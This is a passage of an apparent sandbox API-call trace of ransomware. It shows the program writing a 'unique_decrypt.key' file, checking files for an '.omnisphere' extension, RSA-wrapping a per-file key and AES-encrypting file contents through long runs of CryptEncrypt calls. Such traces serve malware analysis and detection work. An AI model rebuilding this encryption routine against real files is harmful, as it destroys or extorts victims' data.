RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f980 [0074.669] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0074.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.669] WriteFile (in: hFile=0x380, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0074.669] CloseHandle (hObject=0x380) returned 1 [0074.670] GetProcessHeap () returned 0x1600000 [0074.670] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0074.670] GetProcessHeap () returned 0x1600000 [0074.670] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5885080, ftCreationTime.dwHighDateTime=0x1d4ca24, ftLastAccessTime.dwLowDateTime=0x638efd00, ftLastAccessTime.dwHighDateTime=0x1d4d58c, ftLastWriteTime.dwLowDateTime=0x638efd00, ftLastWriteTime.dwHighDateTime=0x1d4d58c, nFileSizeHigh=0x0, nFileSizeLow=0x161b4, dwReserved0=0x0, dwReserved1=0xed, cFileName="ywvxv9U.gif", cAlternateFileName="")) returned 1 [0074.670] GetProcessHeap () returned 0x1600000 [0074.670] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x66) returned 0x163a730 [0074.670] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="ywvxv9U.gif" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif" [0074.670] StrStrW (lpFirst=".omnisphere", lpSrch=".gif") returned 0x0 [0074.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\ywvxv9U.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ywvxv9u.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.670] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=90548) returned 1 [0074.670] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x15c90, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0074.670] ReadFile (in: hFile=0x380, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0074.670] GetTickCount () returned 0x1152ead [0074.670] GetTickCount () returned 0x1152ead [0074.670] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] GetTickCount () returned 0x1152ead [0074.671] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x16683d8) returned 1 [0074.672] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639ae8) returned 1 [0074.672] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0074.672] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0074.672] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0074.672] CreateFileMappingW (hFile=0x380, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x161b4, lpName=0x0) returned 0x3bc [0074.672] MapViewOfFile (hFileMappingObject=0x3bc, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x161b4) returned 0x3450000 [0074.673] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x16688a0) returned 1 [0074.674] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639b28) returned 1 [0074.674] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.674] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.677] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, 